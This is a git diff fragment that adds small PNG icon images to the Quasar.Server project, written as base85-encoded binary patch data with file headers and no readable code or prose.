zcmV;I0%-k-P)^@R5;6Z z(>-WZK@^7J_sq=QY_e{46@P+~LNG}sRzZsxQHvCsN*h5ir6^j7pq-$xu$N#V1gx}9 zClV7;5)7zih-s3DB)G=7|99>ji@So7-P24n=VQ(@GctDX!^_@$bj%oviY6e4Dh;od zooe%Wvs8LEKQ&&bL&@bwi=STIAI@!-gB2jC5+?y?VR~VkrNxam-`6*8&po|RZ5LpS zNKdJ%c4bTX`XjKsnecf%W>1%6WT?pKNdLLq{=(f(Col?P1+oq@R>)W(n=x!|*BIIh z6DJGw_w`)u6yN|vAhMteYK5#b%r5^v+VCFl1IGssaclZZMS{vs-LJ2$)n7DAr6==K z<29#%AXsBsDoO}SBaXR#_Ap!JKx)(1)3O2pj0_dYWz5By*X74fRT01$Fk%P_RzOMDtV?GU{nsYq#K8iy zb6qzLYDj`_f5$BwC*WE(t0m#xYJ*=jC2|HQYHh=pf#QG7oowi`h!L!{DB$8|qY{~X zu8@sU1tWq;n$XThR0%;45mdqXM892|{CJ@0DS*}>?ami06Q_^tvM~Y3K(_-`#m!8f z8f!QIrH4y#61;0Ym0cCoLl8{IPombPHtnn7%SbTdI&G-d>ZQo!_wBMF9nzX!g8HVY xYTJPGciz9XMh3w2fmZ(7v{)r*QZD48?mrio{~Iaoqvl)`fBvPpq zMx&AF$wLCy=ytm>0=c0}l9HB4;AOjom&*aG)#;3Lxm-d`jBJkksU*W!iBc$CEJEW~ z^f_6~mytc8WYv?y;Q)O{3(mb{rq#lFI7Ft=z%F)v-CWgFot!&Kqg)0J)9v-}WSU6V zYEXVPjkv)12E-_z$D89Ipt=eLtfy1Fb~lTKaD6R5XUV6QNjmf!c(u;*?2rg6h-&E qE71%3KSt~`+5DZGcntQh00RJAd+!;_Gf~t40000`!iy8(2_#ButL^3%VaH2WCpD^U)OZxp@C)2#hU)y+@T%ZNzJigNk%37 zz-WYJwT%teVfiEI+B*@v4ey@58(ld4VY_&5-ox`e@AKg+0U-I`y79bmuw_~y6+4rZ zBG5EdFDS+@M0OSE`>d7SUDOzKZ&h*4eB1iX7tOd9RiYtW2mQ--bUahxr1`i{RG@dM zL#}_X=DDO1{;UI$pFu=dLYT_=5d8WC-sLfjr7UO-HKMAwa=!>)kEhvuwre zuW3yF@ZxFCkI*+ad|5kOX%5zu8IQjhan)UqgSrFGA_0nQFn@Z08DSEUToCSz4Z1ls z&fDbq$T&7|6iq$_uDI$@q1_kQ@dfqk*0>{SDL6V)94@)ete)j++*>bIc9sj}Y;R1o z#OpH+Yt-^4wfv{nern^iVag8pF7<5HgbW?9;ba!ELWdLwtX>N2bZe?^J zG%heMIczh2P5=M_6iGxuR5(w4lfi1jKoExWntc-=qvt+EA*VnOUP5}S5EL3u;-M`< zYf4oTD`A{}HnW**Tz~j8v$HcFW{62ymJ~YAb1I5LqB>1eZ&sofKvh*#*EKaw<9$mQ z#+`)-zz*LN2DMiq0ze^oWX~4T__X31&fkBC9-dteVaWbkoIL>2M#SUU4KKg>%x^gK+W?1GHr%?pue*-zNm)6THKUe0n}$?604j1`v3p{07*qoM6N<$g3|q- Ae*gdg literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/reg_string.png b/Quasar.Server/Images/reg_string.png new file mode 100644 index 0000000000000000000000000000000000000000..a451501e17081f16abfb6fcb8bdd151073be0562 GIT binary patch literal 487 zcmVpF7<5HgbW?9;ba!ELWdLwtX>N2bZe?^J zG%heMIczh2P5=M_Wl2OqR5(walf6sBP!z?Zlb!r8Ty$}BQ4pc{g>DWm4jmjsbQh)I zASjB9I7;ygaf&Fxk3k6mKZcT}gpS?XB~wW$h2y*T<~@^WJ9yyqop*BYuZ6aj@B7Hw zbzOL#$EUV!+r~5(vl_yHp3B3dK)KA3mXe>A z?gr3R1o-^oNDEn~0W^4W3f$bvoumO5S3v1JE=2~wYBquV9B}^t6jp)auJi=R4XWuo z;P4oj%uBD7257y$0qdK<(z4tM@cbf~G&BO#Y8=ym_Ya_N0NC3Hwu`{*qVxo)Rwa{W z7Jy2HV;Zov1FUUGJ~#p+7IBX81b@ih&2d;YG&qD+OR|TzUdb&r44} zD@m`!0Q$+M)M&`rZp*1vugBp>44{|)>KA~r<2dZBbf2APfVPtPm+4`03^dP@JEqho dWxMW%^$p6nYKTsd(L2%Nfb28ake(Nc)gcnjiHl06Vi5zr`8 z(3F?(m8sa))$`m0WS?l=+qJX%?3~|q&b{3f0P254(UJXrb9jGiI#k0{pbFjlDki*T zsNK65bM9bxejAF{MGVvdfg*Ucf>99P^0^-hR9&S2%@qIt{DU3aL~IrBX@O zh{xkltJMZF!Qku$_KzEIr<%^br7DT7!cwWkIkl(KYIP_Ui*UJIkjv$u`d_XSfR}Cb z{UM9R0=L_ZLZJY?UJqxoLZsE{kj-XUkQPFr5LDmuPuODtfppV3xYCS`Mgz%Y5)8w@ z@Angkj%{{2orpvt5Q#*37I1~SZ(2p|=nR#EQ|#1EP^{GPb@v#bw+~@78VP`#hFgbg zG?`3@Mxz`6VzKxVB{AfpV(m)(_QW!7K24!#B!TNn23O@VNMzIK?d?U6)DE-R43$cS wYY%A%1cIMD9`7A_#BRT>L?Qv7&&S{SUnp5P#YQSqod5s;07*qoM6N<$f_olE%m4rY literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/restart.png b/Quasar.Server/Images/restart.png new file mode 100644 index 0000000000000000000000000000000000000000..97be114a5f5c1877cdee35197e03485a9e6337da GIT binary patch literal 756 zcmV-H$FZ?!$52qvWEN}{-yoKW{FBFmW zq!w144b2WW?g#Fn-Fcc`JBhy82RQG#i0-d<5fvjCog@$+2O{vQfU;&Y@9ZccOEEoU z`o;a{1AL?3-`@g9r?$MGoC2ZpYg3gkd~LIJN-Kyj0WFFjXAzC}zZFmMn> z5hP(kQ2wbL+b)^0VN5E278PPxnPnmOQ^4!RG@$Tk0dG6wAo;>>bk|-{ez()ti-GwO z1>i1eK-Z2FO5XOS3!^?i@QeaRReL0qkCgF&muO-~PMtxim>ErL(P zfS3df1ta*V0t}7zu&#X@7yU%ZQnn6iY~|3g8jLLj{&EAYhT$NO&&%mTVk=BuwsTj# z5M$DGfeHjwn95W3QF=8`P|Z{S2$t1SR?Org{n%-#rlrOxqLf%dc2Q<5P%}+aGtIAO m&9tc%qz?2SJEt(A%-}cm7d#*-!XU2z0000rk-tjAP!z_0H;J^hqSY9v zb}k|c4m$V%K7(69+d#cFCY7ogpC~w3Ke`J6TIdX#A8nW1+5$omq!P&?zNBWmp!Oj^F$x%{+EyrCHppeB z064$zZ&9;d9$r-v)6skkkeD&B0IT!GP>D51-{6;uZJ?)ARt;_FfBKRVZtET`r#BvO zxRoKBR!2^=Iz4vF&GCS2TBY7-;=DPLdMZ81qCWTY6$1IlXhF)6xey?|E<&3Cz?j!D z(7$8jdmnMYyZv+~6m9$B`bCWF3UVz+cD?TDxXj<`6Y4l&hC9#P;s5{u07*qoM6N<$ Ef*mugvj6}9 literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/server.png b/Quasar.Server/Images/server.png new file mode 100644 index 0000000000000000000000000000000000000000..720a237c73a9809be48ffa5ad1c1b90205b7f025 GIT binary patch literal 530 zcmV+t0`2{YP)8!PM!jse+otDvXRhleu>w{(hr=P& zTV2;rBMofZo=3rrs;YWAJqHeofOC+HNSe*6&}=qN@aeaKWm$(L&gF8enM?+{FRwu9 zoD1NBqmclHW{%@Tw}6Wqg+f989t^&~Me(EkfChX#56VZfjYtFPF_lU|uh;XF8H4TO zj!YM$blUKV1mw(6M2qNP2;H{su`-!X|7n%u=>+~>3AvaIiltqd9#DvgJ&1=10t0D6 z$;|KlP3c1Y-2fh17umvCJQ4=!_2+B&{P5)SL<2$#ZY7EM2$|!%^Ti9`3q;4qtws{i zDI^jJKbdhUAOoMo-`t-B@esjXtJQ*jzYmI{z|3qKZ(vLsG2zn?;Y5OJwYqN@My1o~ zTxy!Ox4y9nOZhb^2wGcN&dWOz9qA2Pi2L&&MfZ)$Tym*VCU=T$Q;z6Ze zJ$g#19)u*6U}?pjN9Q`P1faW_&ZrhEh`zTzI_Q+4udtc{7?20{`>0tzC%6 z<4$0NFD@aX1`EXFfryb1uLICn5nxWaVpGCkj6kwT4ni1iOhPYO8V+7ZA`uje zMd-SYjtzD?ftn&>m3S@d6_=&B-;Cz zF*bAv13UKN-Iq6*nUCUQI(Jw5*Xv9h7Nm56LZ>KDJd8b9y7n953x!Z9A}LY;0000< KMNUMnLSTZ#4=Y0e literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/server_delete.png b/Quasar.Server/Images/server_delete.png new file mode 100644 index 0000000000000000000000000000000000000000..61e740fe18dc615016c3493811f305df96d678a7 GIT binary patch literal 668 zcmV;N0%QG&P)ZQIL=Mmwl(g-y|iYtDg0bIogV2(V47x-17<>@P+Hf!VQ~;Bh1ADY_Vk1>Kc5@s ze}58`N~Nm;9En7Z`Tc&Zu9YFOQ_4UY-hbj=vgo8wo7>bZ?mX^6EGP}5o4qgAd zf>y7X3>E~5{sEcYRlyGFL6@t*C6FW{GilXc39MrFM;3HnTt|X7nCvx95Y4`y#>dJg ztfe`ee?5c6OCFj}YU|v_+9e2S?u!(X>8@nT&ql-J&^L3?zb)dzt-H{Tgi?Q*KmN9` zaDU;lXQ!<|OhHxER^9tl$hWZk7^g1YfN$j)lt&}z{_q67@vzDiHtH&PUMLjK8is*D zAOPQypQzOua-5=e?fX~wjvBzVJA2(9k3ywNui{G2X0twYT0AgCL27sE1k% zB#Vk*Q+6?;e9+Vt!L4!K*`1ktXYNe*UVlWT^w7ZN+<|kx?>px^H{km|{^wKwm9Vg| zaNl*^8;;|sJc37gD5WAk3LK@NP$bk5Y$CIXlI%=4cd(q9B*cVPIfT zN-yMdJTl47IAHqHm0t=ttI8)@h=c;2s@8%}%bVy(RAhosz?g^LzLS!DUxmLngP`ow zrfn8+J7Zx$33yPOy6}EAf^^3q=H^}@`{F5>9HNI({R$?_cfm&~2_!((r0s!M>3g`lJ{4?wIwATQp;6yHt2^& zKYuq+Eb5L^v&R{AmzYgUE~OhIXUe@VXP)2T#eMsaNyJ@y*%#F`%&V0x=ZR~P^R7jY l<)&}aKbCWipX^bu^(V1WxGAiK0S5p8002ovPDHLkV1nEbSAPHi literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/server_go.png b/Quasar.Server/Images/server_go.png new file mode 100644 index 0000000000000000000000000000000000000000..540c8e2689b19cd661d3f07ec6d5c69a48ee79b7 GIT binary patch literal 706 zcmV;z0zLhSP)7<1w@I`*?5OI84*T|9oBhH}d)X zV_ny$7-LpT(?ounOeSx1Bq$b(0RlV<27^hr+Y6OI;2f4ea@pG(#Qc2bI;{>8 z6bgmQ0vry9qduPxrLScOb?OXyK&ctFdYopOnzzF=IxIzTH9TSNw zRv8@$M2+3u-KbWpO=ZKt@W_~@Zno4#v;XQqFdGCChs31_>&3!5%7&#b{zWFQc68tn zplmj4#^Z6+YBf55z<5&3{|y;v7;9uv%2$5X>rHda_}~n%R!c9`2Bty_PB{afo|wH(i1~} z&mbZJ35Q%B^!cO6Z!BTy%i>mD!&!%IJ)KTZ(mdRYL?UO7ODFJPbqWeO)2I~TMhXw( zyp+KE^<^xqJ^!icxKx=jKRWim##AbmAfj1{QTs88yd0gw>A`WlSX(G-+yZ}U&%wWZ o(p|@%!Cl@4H>AxOvt;l80V><8&-M2O*#H0l07*qoM6N<$f@GaWM*si- literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/server_link.png b/Quasar.Server/Images/server_link.png new file mode 100644 index 0000000000000000000000000000000000000000..e8821dfd88a4a178df1581e12832925c401a78c5 GIT binary patch literal 706 zcmV;z0zLhSP)?mgenukSf$Ow%;{&(Qz*V`F0@b#ij@ zxZm&VX$7rf9v>g``Z^Q}JsL?+C={#&cxkiQLb7}jJpw^hA^ed`yWNI#dL>L>e-q^M z`Fjj@I2>0@CKGnPR>A73szKFMBGRA`S+Ca{9f68h+-|q{(d{0gPvFmm91*Ce^UmFA z5o06)XEYcLXt&z~WkrF1>Y7m3eyMY_&vn4e3W2zY4~4B4@}Fo`ggWoJX72yn!Jt=~ zC}x7Gz;&TMbfKNo1KrTUkU)^IvNFituckW41Kdc8hGB^|5P zDhq;WG2$IrNz43AeK;CB`x^az|5dNo zn+^tpmuW~wqY?Fb9i>u9WcPSHn3$O0UhR>XE|bZ8|Bb-s^GTFBK#I#m;3Sa5N8M~T opRypm6;{4LkrnDigB(5h2_j2`gUi>R_y7O^07*qoM6N<$f)SrU?*IS* literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/shutdown.png b/Quasar.Server/Images/shutdown.png new file mode 100644 index 0000000000000000000000000000000000000000..baaedc9de4678e520bbd431af4e00d8ffdd0bb7a GIT binary patch literal 660 zcmV;F0&D$=P)V9|hbB_iDKzrBQjRV9b;j0iw&mafTmszyTmU3-mY){H7tXE*Wd{yiT14 zo_z#7I^YzLxeeGWTuYTrGRHY8MO_234}dxyaE^f=uvvdsq8`?vAy_;fJ=DTsY>tmJ z^R%AQ3+e`-KIEl3;4A?o+Nwka+uKnS45Ac^p)@tc>no@p7(jJvD~f%6C@(GH70>ZP z^^pXeA>b+jBB+Z*@MC@+#o=Knem}H)9{JHx)QpW`XJ;oeU0rz1b2kZiECH-R_KHZs z?MB1G0=_ghawiM>#00cL0qV#IkJ_;}nMA6i123ad+#+CB0#5SyWde5e_M#yWz~|;> zJ@?%NR0v250LQ+yHKcq#JP(Dyil{*e@DXr{0Ij732Uk}Sce${!vVtb#1xW(7x3$5! zxQJzk18))u+#w(&0bT+w5+MG$i7!x`PQ?5BQS0^Ufa3HtoHH}X#pC$O7rf=Uy97Lu zfD;51QGx%vTyS2L; zHp2(1@WI@i-Xy|Q@2LPU4ND`rXk|XBN80#rvs@Rc@6>f#IU%hqn&}9e=@^?yG}xc^ ut!#y8Od%RGH2 zOGs2v9LMqRs67bNUiP3OW+lDI5Es_aqD|P#V0sa4E$0$Qgdr`WXj7XuMM?}s7=cQK zG_(ps8l#Y2kTnHn5n~opIYL%6cc$N+dyg|tQ3w9a{hxu)x#!&9@iBSKRu%K_VXMBH z#^?Pm5BTZYx|S8iGc-3{Gp3yJBUkn~naC4fM2Fa=nU`6hYBACNcGj0H@_bXNyx+X% z)F{*(q3>y&Ko)2WGTM5Ia?)xts>UWeFJP0Ua$SW03%TsSg;Oy+XS@eko8(W1>6+y&;uIl6r=+R zQjFYd`74K-wRTeUr|1zC_8!oUJ&Q>pM6Ssskx{qk9bke zUZzU#GCAuM#yBs|wynz)(`9;}cbW2rz7<9Pxy}yt#WcSGi;vq8Kbm{Z00000NkvXX Hu0mjf*k=>f literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/terminal.png b/Quasar.Server/Images/terminal.png new file mode 100644 index 0000000000000000000000000000000000000000..4efd07a4d381a57baaf568eaf848533027d7318f GIT binary patch literal 359 zcmV-t0hs=YP))G>_%)-@hy%&5Q(0ICA$p zSPhH@=>v(g{Qvil>A=A&B>Nqx4@|Q#GBGhd-dzbY5sv=>CDGZSzy`5lfo>kZ5KJ?H z2xb;mhI8l6F)%YTgE7!d3^vHwAU3*J!3KaNEG#U@G6WnDAjxA#kAMvUvGDh`fD`~UfROYn<0^=4I!Xz8;<-_Nzd}bBeq-q4|1LsCcvok<|0RY;dcd0HCA5H)O002ovPDHLk FV1j#3i&Ovr literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/text.png b/Quasar.Server/Images/text.png new file mode 100644 index 0000000000000000000000000000000000000000..ed841a02a7d1bd376af2e50c7bf0032938f7fef7 GIT binary patch literal 592 zcmV-W07YdLMY{D}OC*kDqm4uQBfsLLM+hJYc3D|3B}B}ie6k_vX#a1@E@DgewSww{VZ;-|L69_SjA)GM!HK!nh6mlfCWj-5Uf)G;3vo zn2RS#B76J$@0kns%Q1#zn^|B98jaL$uCFB<45Z)hORv{c|7~Yy7wgw0e&E^M0J}QA-5QGH(JUUX@<#Jhu!=b#c)s&>s zXy|>hSd{NclFk*3eFY$>0l-rDIF4g^kjvdsqFa=^C;jKQZ1X@D1TAgQiN}TZ=;SDh1q6CkCwC#3#4s=TBd1gL2WBJi8Jb5TOI5Hy2jZ1*d3q`j zmzM5K!O3OT7f^uqip)mHM!OOQ=jURM4-Vw{#)cH)*zoer`uc4T*m<1k!`m4t36c24 zO_rwe`|wa>1#Fft(=_jO6YoRK7QxdDes5!pMDTn|46)2wfGuC0on1UyTl*ycv22!I e5W{x-5nup#`Ak&HNL?8!V{ znjV^ye=2;qm;P{$`s;H$`x~a}R(xgP|G$RoO>~FD8I7fnS&nXWFMPEjPiNb7^=IwB zO%ASl$t*T|^U-%%8&{}vv|YWQef;Fc%Euzc)I$ztaD0e0suWxYs>%u literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/transmit_blue.png b/Quasar.Server/Images/transmit_blue.png new file mode 100644 index 0000000000000000000000000000000000000000..7b1142fc70adfd598ce6eac581421d7e6295f370 GIT binary patch literal 814 zcmV+}1JV46P)^~)@W#UgN8qC(979%Vy9NAeJn`# zSw2!>g&{fNR2$Okoji4(4lt5P$>r&q16P0#(CAS`X1XUkTWj$WH+~m^i1nA!c54U2@ zzUeSE3@r(@mOzU7Ss)3zO6X49?eVdR`>f= zD(&<}w=25V_BpD%QfK~{4*0vpV)<6BAI*U7!YSn(9anIo^h$1Lw4>$RCWGxdm8_qj z8-Z>jbWcRL3)o3FSHo3#4@0T!b!F!4__T7a7X3qJoMEqHkXET~kf2YcP!3qAt)$FI)g zfX4xE%Ve@IB_$;X{~G{!1n^hDt+6w}2Edy|MMdmC0|1`~><4@={vu#`et!O#R4P65 s*8sp^b=iB(8ZE$Cxw*NSsD#+rPu4uZkAluh`2YX_07*qoM6N<$g1stv`v3p{ literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/uac_shield.png b/Quasar.Server/Images/uac_shield.png new file mode 100644 index 0000000000000000000000000000000000000000..6a21ee583a97ed1adf1e7e483f54d762037e141d GIT binary patch literal 3556 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 eWYeJ9UjqPdhexKV6s#lw0000z1iyEv%?$mbQ(# zwJpuiQJP8?X_`#S8b+U_G6=ziYB!xPAcq{)ZJ0bECH@ zYx#`n8^Wzn^J!4>=q^bltNO15ry?0ecSLkjpT@vlid!jk)Fjf7&)q_V5zGs#3N%6* zbW~7Hg=&P0&~Y(|g>$hC9FL?;ttzPDZbpZu9OLb33^e2;FNTGJxScp1&q4M+y2ntQ z?C(=hpU$3~`Thx0eHwi0x`q+!d5k@|0_WHe%sG3e-s^MM`xM-ig!VcIA7H}X1ot~L zg=MLB4w-Q;Bi!!u2|I+Qb;0{{4Q53YX6+4_aXena{nmt*!YG7ua~`qc>o=?@U?rOU znS7%>klzi*muXnbM6i@4FR@s^8vTjDgy&%J?w?`u>NYMDFa_2%0SQ(qJE<3=<8Bzo zfdU60e*y(^$RF%r$kl)p7=7tlCDa$+J7w>}DU(O#~fk>pYuRvHi1E9^msg{tLeV XM&GIRvfA7%00000NkvXXu0mjf&%8>| literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/website.png b/Quasar.Server/Images/website.png new file mode 100644 index 0000000000000000000000000000000000000000..b8895ddecf57c8ece24f566d9b4a9d803e5a11bb GIT binary patch literal 903 zcmV;219<$2P)^$%%`*Fg>ryDtc(lF@?b>dE!20r+y z#Q*>(wbV5H`-E4Do={CJp7=ERhw15hgZi)?jRG88 zzVz(5;g?Td1izJyO33bhjg2Qc7FVY@f9!o)Gu?DII~vm-Dc?}3M!fsgjP?F(7`rgg z+xOk8XD)e?Zl=5+un`5!7kr?F=eq)K-5uqr%yU$1hLv){Vlm=)*5~`lwMciiXFu*g z)*Jkz6AF>#zb(Vx`Iv{bdGZHtlW)v(y5k^|xgSUc9%0}S20nrYrO}78ofk?bV!5)4 z=Ngz@+$9N1>>mA%IWx`Fqa240bWkiW;2TZgd8CZS0U}@mknC;!2;wi$eI@`h0y2JS`Eae0CW}q(2(%!m8 zWq$`PDU>LT1_y*bBv#P5<@q0@ttz$hIH}YMDvAigCc=y*)jY-VOpTd;A8@3t7Xh4r z0KTWOk;N2Ox4!&&^4B*no$WtTX!BXB)rg!y8dvGgKBQKLJNXRRp0}Bsjd1|LNQX~c zbC~fjrk2iL@4dYF*vt;}dFn(%h)n_-vzEIHMOKRkdF%3Lq|zBgKm_h>TEq!))nWjq zzn;B!?!(dQcHu$#=JF`cS&W~C`WHFW^B!~MI#k)>1Vk&eQy8P1O`J6V04{D@|7d6^ zyBABnh-d^H0FX&L07M||E0n_dp4v&Q%PSE9p#R#Hq)`5I_(B5CE#q dxjPz0{s-<+c#AC!i7@~G002ovPDHLkV1iPlpuqqD literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/word.png b/Quasar.Server/Images/word.png new file mode 100644 index 0000000000000000000000000000000000000000..462d894df1e77f5da61ada09703cd3e9d1e4902f GIT binary patch literal 734 zcmV<40wMj0P)15mbr)0=n@#MK^P=L2Ty`@7lb?%LUigPU5Ww;q(4*yUZP8fG{G$jPpy}w)FLgn zmNj$Dac6XAXL@gR*E|?Kc>Lyj@B4n=@4fGh&~;@Di>e5+PVzARZR3FR366vL#AD1Q z9zo)0)rNy*1$FoP<3q-}g`#bvSae|94tO)$?0gn?$LD(KQ{d&ncn{cxuFGQ+6pHV5 zWo<}9`klFx8nDr^+v&u^XERr7^QFChp57JudN@Yx%*H+t`k zB^RDhs>dZT4GU8rmoRX165Sn#@$|)P83+4Mg7Y4ah-0xsRE>jhD1gyvBU!pYG}kP| zqE*;1is(FD565!K$Z^gqis+KC64xACB4>nTtQBCml^nc z8gxC6{h?-VtW;7U<#h{%f(=;|F!3&p<4yaJAZ#JzIOikv^+aYP7zje7eRQ*2E}^7A z7DT+B{Ep_Py)L#8mK5lD9eG2?%I{?=Mc7$_nYXAm4~B1?Eq8uo=)8*@=X_4nMgxB3Fu|o)M^RQQ^DK!u6FiiR#)BUV&_Q= zczuK@uib}moNWR{`;2JoiA`3@{>Wy)6I`MBVXm79)*hh7@nM0G=Xkq`E8kL((#b)D z8n0nbUChtqu}E}F0m{eV;RP5um;989K`Yp_13+zNWGl2ZrC`KP;D?&GH#?>yH2f0Lb7s?o*_; Q7ytkO07*qoM6N<$f-sX->;M1& literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/world_go.png b/Quasar.Server/Images/world_go.png new file mode 100644 index 0000000000000000000000000000000000000000..aee9c97f8232fd21bdd23804c83eb721ff597a96 GIT binary patch literal 944 zcmV;h15f;kP)Vt{;GNX|PV@wQxfRAQ-FeWBO z_okAVsCzMc+6+1!88|n0#f5DY;>y+0w55ffp3Cpz=VNHC0RRA)nx7m4J_e2fEr1D> zf$Li7b6<{q_X_|3fT6VpU}}ES1g3#EU(cKfCPFP#tOhI>gtQSn;qulcA%*-^2>JFm zr+(T4FtpZ8%})k^KL(S1BPTO2QL%$KxGYx;>U5BTrO?79gvFL~m7AM47lbE{|M1p@ zvJU{5KHA(pGTJssQM!0O10j6WL>(4&6rCX3c8K+IfcD4>45pqv>^k0$0RGbW>L~Ep z>F(G3_hpqWYSffq&yG-Z0#t0sZtPO7RtY8w81XE_$%9;8ywUmn_33;5p~)j(OtcLh zGW;R7d;;`7T4jV=PyEzuAB!7%sQMDYjz>7LEO}MJEJ+SEXMDFFKWs9AW0_c*yVfT8 zdLO<111JQ!Z5P|F5l?92}SW-(dg4!8-@ngsi3V^Oiyy@FAt+W#MZLO z+G>n8Cxq}c`;$Ecm+#=&HP9L%gkegdiWRq#ZuU14t$&X7yov1vXjLB(4@;a4kKLRg z-PA=-YKUFC%EJ2Z6sr?Rp~|N4#O=q$)pS=l!*Bo1(-`ie&YwXjm+`*$kXj*?M4{O% zuhGAMggv*$Cl@{hx*zyFSA6yJ!&%W0X~DEMC>Q=Dk#Mkui`0r-AY6 ziYp9c#&{<6JiCE=qrPunJwM|*-o=^4Szb&J5cfBbh$w7fBc$M|SUag$2d(i=0{##! z(KNT$=DD_V!?IjrCV=O7?_9~=opWmL;fW*1d9-cvk8qg2_BpO{v4zWlWG};=C;2-! z$Cag7CoJ20md|EuhSnN@SH6BZDm-yscyj#Rk@rnx3a!H!K7(Yu!lxHc)7Lu8)up-J z2HoDfaAs*8z|dL)001y@X6Owm(^b;|pVbz=yzjpaJj$ 